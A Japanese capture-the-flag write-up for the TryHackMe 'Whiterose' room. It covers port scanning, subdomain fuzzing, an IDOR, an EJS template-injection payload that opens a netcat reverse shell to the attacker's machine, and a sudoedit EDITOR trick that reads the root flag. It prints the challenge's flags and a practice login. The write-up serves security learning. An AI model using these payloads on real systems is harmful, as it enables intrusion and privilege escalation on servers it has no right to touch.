はじめに
今回はTryHackMeのwriteup兼備忘録になります。
今回は難易度がEasyである「Whiterose」というRoomを攻略しました。
※扱い次第では法に触れるため、悪用厳禁です。
環境
環境 | IPアドレス |
---|---|
攻撃マシン | 10.6.71.140 |
ターゲットマシン | 10.10.60.127 |
Task 1 Welcome!
最初にポートスキャンを行います。
オプションは、応答の無いホストに対してもスキャンを行う「-Pn」、スキャンの高速化を行う「-T4」をつけてます。
└─$ nmap -Pn -T4 10.10.60.127
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-25 05:34 EST
Nmap scan report for 10.10.60.127
Host is up (0.24s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8383/tcp filtered m2mservices
Nmap done: 1 IP address (1 host up) scanned in 24.10 seconds
80ポートが開いている為ブラウザへのアクセスを試みたところ、「cyprusbank.thm/」にリダイレクトされる事を確認しました。
タイムアウトの表示がされたため、過去の対応をもとに「/etc/hosts」ファイルにIPアドレスとホスト名を追加してみます。
┌──(kali㉿kali)-[~]
└─$ sudo vim /etc/hosts
10.10.60.127 cyprusbank.thm
タイムアウトは解消されましたが、メンテナンス画面が表示されました。
この場合にはfuzzを使用して、サブドメインを探すとのこと。
単語数1の結果がかなり出力されるため、fwオプションに1を指定して実行します。
└─$ ffuf -u http://cyprusbank.thm/ -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -H "Host: FUZZ.cyprusbank.thm" -fw 1
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://cyprusbank.thm/
:: Wordlist : FUZZ: /usr/share/wordlists/amass/subdomains-top1mil-5000.txt
:: Header : Host: FUZZ.cyprusbank.thm
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response words: 1
________________________________________________
www [Status: 200, Size: 252, Words: 19, Lines: 9, Duration: 302ms]
admin [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 335ms]
WWW [Status: 200, Size: 252, Words: 19, Lines: 9, Duration: 240ms]
:: Progress: [5000/5000] :: Job [1/1] :: 167 req/sec :: Duration: [0:00:31] :: Errors: 0 ::
サブドメインが解析されたので、改めてドメイン名を「/etc/hosts」ファイルに追加します。
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.60.127 www.cyprusbank.thm admin.cyprusbank.thm WWW.cyprusbank.thm
「admin.cyprusbank.thm/login」へアクセスしたところ、ログイン画面が表示されました。
問題文にある以下の情報はログイン時に使用するみたいです。
Olivia Cortez:olivi8
ログインしたところ、ユーザ情報が記載された画面へ遷移されることを確認しました。
What's Tyrell Wellick's phone number?
Tyrell Wellickの電話番号を探しますが、伏せ字で詳細が分からず。
続いてメッセージを確認したところ、URLにパラメータあることを確認。
IDORであれば、パラメータの値を変更して何か変化するかを確認。
「?/c=0」にしたら、管理者と思われるアカウント情報を確認しました。
そのアカウントでログインしたところ、伏せ字の電話番号が表示される事を確認しました。
What is the user.txt flag?
管理者アカウントのみアクセス可能な設定ページで新しいアカウントが作成可能なことを確認。
Burp Suiteを使用し、パスワードのパラメータを「passrowd」から「password1」に変更し、意図的にエラーを起こした所、「/home/web/app/views/settings.ejs」にエラーがあること確認。
このファイルで調査した所、ejsファイルに脆弱性(CVE-2022-29078)があるとのこと
https://github.com/Robthreefold/goof/issues/274
execSyncを使用することで任意のコマンドの実行が可能であるため、以下のコマンドを実行(事前に攻撃マシン内でnetcatを実行しておく)
settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('busybox nc 10.6.71.140 1337 -e /bin/bash');s
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.6.71.140] from (UNKNOWN) [10.10.60.127] 33492
以下を実行し、インタラクティブなbashを起動しておく。
python3 -c 'import pty; pty.spawn("/bin/bash")'
user.txtファイルを確認した為、中身を確認してフラグ獲得です。
web@cyprusbank:~$ cat user.txt
cat user.txt
THM{4lways_upd4te_uR_d3p3nd3nc!3s}
web@cyprusbank:~$
What is the root.txt flag?
現在のユーザーがsudoで実行できるコマンドを確認します。
web@cyprusbank:~$ sudo -l
sudo -l
Matching Defaults entries for web on cyprusbank:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
mail_badpass
User web may run the following commands on cyprusbank:
(root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
「sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm」が実行可能であるとのこと。
web@cyprusbank:~/app$ cat /etc/nginx/sites-available/admin.cyprusbank.thm
cat /etc/nginx/sites-available/admin.cyprusbank.thm
server {
listen 80;
server_name admin.cyprusbank.thm;
location / {
proxy_pass http://localhost:8080;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
web@cyprusbank:~/app$
調べてみたところ、以下の方法で現ユーザを昇格が可能であるが、シェルの仕様上うまく出来なかったため、少々手順を変更して実施。
https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudoedit-privilege-escalation/
今回は、root.txtファイルをエディターコマンド実行時、自動で開くようにしフラグ獲得を試みます。
web@cyprusbank:~/app$ export EDITOR='vi -- /root/root.txt'
export EDITOR='vi -- /root/root.txt'
web@cyprusbank:~/app$ sudo sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
THM{4nd_uR_p4ck4g3s}
~
~
~
~
"/var/tmp/root2xYHzfCD.txt" 1L, 21C 1,1 All
無事フラグ獲得となります。
さいごに
久しぶりの投稿でした。
以上となります。